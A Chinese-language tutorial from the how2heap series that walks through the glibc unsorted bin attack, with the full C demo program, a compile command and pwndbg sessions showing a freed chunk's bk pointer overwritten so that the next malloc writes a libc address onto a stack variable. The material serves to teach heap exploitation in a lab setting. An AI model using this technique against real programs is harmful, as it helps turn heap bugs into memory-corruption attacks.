how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
unsorted bin攻击通常是为更进一步的攻击做准备的,我们知道unsorted bin是一个双向链表,在分配时会通过unlink操作将chunk从链表中移除,所以如果能够控制unsorted bin chunk的bk指针,就可以向任意位置写入一个指针。
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数
一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
#include
#include
int main(){
fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");
unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);
unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);
free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsorted_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsorted_bin_attack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsorted_bin_attack
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数
一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
[Inferior 1 (process 144) exited normally]
pwndbg>
一开始先申请两个chunk,第二个是为了防止和top chunk合并。
Breakpoint 1, main () at unsorted_bin_attack.c:17
17 free(p);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602430 ◂— 0x0
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x602430 ◂— 0x0
RDI 0x1
RSI 0x602620 ◂— 0x0
R8 0x2b
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RIP 0x400775 (main+207) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400775 mov rax, qword ptr [rbp - 0x10]
0x400779 mov rdi, rax
0x40077c call free@plt <0x400540>
0x400781 mov rax, qword ptr [rbp - 0x10]
0x400785 add rax, 8
0x400789 mov rax, qword ptr [rax]
0x40078c mov rdx, rax
0x40078f mov rax, qword ptr [rip + 0x2008ca] <0x601060>
0x400796 mov esi, 0x400a80
0x40079b mov rdi, rax
0x40079e mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
12 unsigned long *p=malloc(0x410);
13 fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
14 fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
15 malloc(500);
16
► 17 free(p);
18 fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
19
20 p[1]=(unsigned long)(&stack_var-2);
21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400775 main+207
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:16
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Used None None
0x602420 0x0 0x200 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602420
0x602420: 0x0000000000000000 0x0000000000000201
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Used None None
0x602420 0x0 0x200 Used None None
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602420
0x602420: 0x0000000000000000 0x0000000000000201
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg>
当free之后,这个chunk的fd、bk都指向了unsorted bin的位置,因为unsorted bin是双向链表。
pwndbg> b 19
Breakpoint 2 at 0x4007a8: file unsorted_bin_attack.c, line 19.
pwndbg> c
Continuing.
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
Breakpoint 2, main () at unsorted_bin_attack.c:20
20 p[1]=(unsigned long)(&stack_var-2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x74
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0xbbe49188e693bde5
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x74
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RIP 0x4007a8 (main+258) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4007a8 mov rax, qword ptr [rbp - 0x10]
0x4007ac lea rdx, [rax + 8]
0x4007b0 lea rax, [rbp - 0x18]
0x4007b4 sub rax, 0x10
0x4007b8 mov qword ptr [rdx], rax
0x4007bb mov rax, qword ptr [rip + 0x20089e] <0x601060>
0x4007c2 mov rcx, rax
0x4007c5 mov edx, 0x51
0x4007ca mov esi, 1
0x4007cf mov edi, 0x400af0
0x4007d4 call fwrite@plt <0x400590>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
15 malloc(500);
16
17 free(p);
18 fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
19
► 20 p[1]=(unsigned long)(&stack_var-2);
21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
23
24 malloc(0x410);
25 fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4007a8 main+258
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:19
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x602420 0x420 0x200 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x602420 0x420 0x200 Used None None
pwndbg>
继续,通过p[1] = (unsigned long)(&stack_var - 2),把bk指针给改掉了。unsigned long是8字节大小的,所以减去2之后正好是在address 这个地方。
pwndbg> b 23
Breakpoint 3 at 0x400800: file unsorted_bin_attack.c, line 23.
pwndbg> c
Continuing.
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
Breakpoint 3, main () at unsorted_bin_attack.c:24
24 malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x6c
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0x8ae6acbbe49188e6
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x6c
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RIP 0x400800 (main+346) ◂— mov edi, 0x410
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400800 mov edi, 0x410
0x400805 call malloc@plt <0x400580>
0x40080a mov rax, qword ptr [rip + 0x20084f] <0x601060>
0x400811 mov rcx, rax
0x400814 mov edx, 0x56
0x400819 mov esi, 1
0x40081e mov edi, 0x400bb0
0x400823 call fwrite@plt <0x400590>
0x400828 mov rax, qword ptr [rbp - 0x18]
0x40082c mov rcx, rax
0x40082f mov rax, qword ptr [rip + 0x20082a] <0x601060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
19
20 p[1]=(unsigned long)(&stack_var-2);
21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
23
► 24 malloc(0x410);
25 fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
26 fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
27 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400800 main+346
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7fffffffe588
0x602420 0x420 0x200 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7fffffffe588
0x602420 0x420 0x200 Used None None
pwndbg>
然后再去申请的时候需要把释放的那一块给拿出来,操作如下:
/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
把unsorted bin的bk改为chunk的bk,然后将chunk的bk所指向的 fd改为unsorted bin的地址。
因为对于一个chunk来说,chunk头是占据0x10大小的(也就是图中 address),所以fd正好是我们想要改的那个地址。
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x00007ffff7dd1b78 0x00007fffffffe588
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数
一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
【PWN】how2heap | 狼组安全团队公开知识库